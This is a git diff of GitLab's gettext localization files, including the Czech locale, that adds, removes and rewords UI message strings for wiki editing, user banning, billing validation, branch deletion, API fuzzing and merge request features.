+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/cs_CZ/gitlab.po b/locale/cs_CZ/gitlab.po
index fc85552c78b..d0f9c77d5ad 100644
--- a/locale/cs_CZ/gitlab.po
+++ b/locale/cs_CZ/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: cs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:19\n"
+"PO-Revision-Date: 2021-06-01 20:37\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -341,6 +341,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -685,9 +692,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -790,10 +794,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -936,6 +940,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -989,9 +999,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr "%{strongStart}Odstraní%{strongEnd} zdrojovou větev"
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1120,9 +1127,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1186,9 +1199,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1572,6 +1582,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1593,6 +1606,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1662,9 +1678,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1677,6 +1690,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1722,9 +1738,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1764,30 +1777,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1803,7 +1810,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1830,6 +1837,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -2097,6 +2113,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2373,6 +2392,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2538,9 +2560,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2553,9 +2572,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2580,9 +2596,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2628,6 +2641,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2646,6 +2662,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2694,6 +2713,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2724,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2778,6 +2815,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2859,6 +2899,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2874,6 +2923,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2886,6 +2941,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2910,6 +2968,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2922,6 +2983,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2967,9 +3031,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -3010,9 +3071,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3382,9 +3440,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3487,6 +3542,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3700,6 +3758,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3793,9 +3854,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3865,7 +3923,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4346,6 +4404,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "Dub"
@@ -4376,16 +4437,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4970,7 +5028,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -5039,6 +5097,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5195,6 +5256,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5213,6 +5277,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5228,6 +5295,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5246,6 +5316,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5261,6 +5334,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5273,6 +5367,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5282,6 +5379,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5516,6 +5619,9 @@ msgstr "Aktivní větve"
msgid "Branches|All"
msgstr "VÅ¡echny"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5528,6 +5634,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr "Odstranit větev"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5537,6 +5646,12 @@ msgstr "Odstranit chráněnou větev"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "Odstranit chráněnou větev '%{branch_name}'?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5558,12 +5673,18 @@ msgstr "Žádné větve k zobrazení"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "Pouze správce projektu může odstranit chráněnou větev"
msgid "Branches|Overview"
msgstr "Přehled"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5597,6 +5718,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr "Výchozí větev nelze odstranit"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5609,6 +5733,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "Chystáte se trvale odstranit chráněnou větev %{branch_name}."
@@ -5678,6 +5814,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5690,9 +5829,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5759,9 +5904,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5810,15 +5952,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5829,6 +5971,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6522,7 +6667,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6906,72 +7051,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
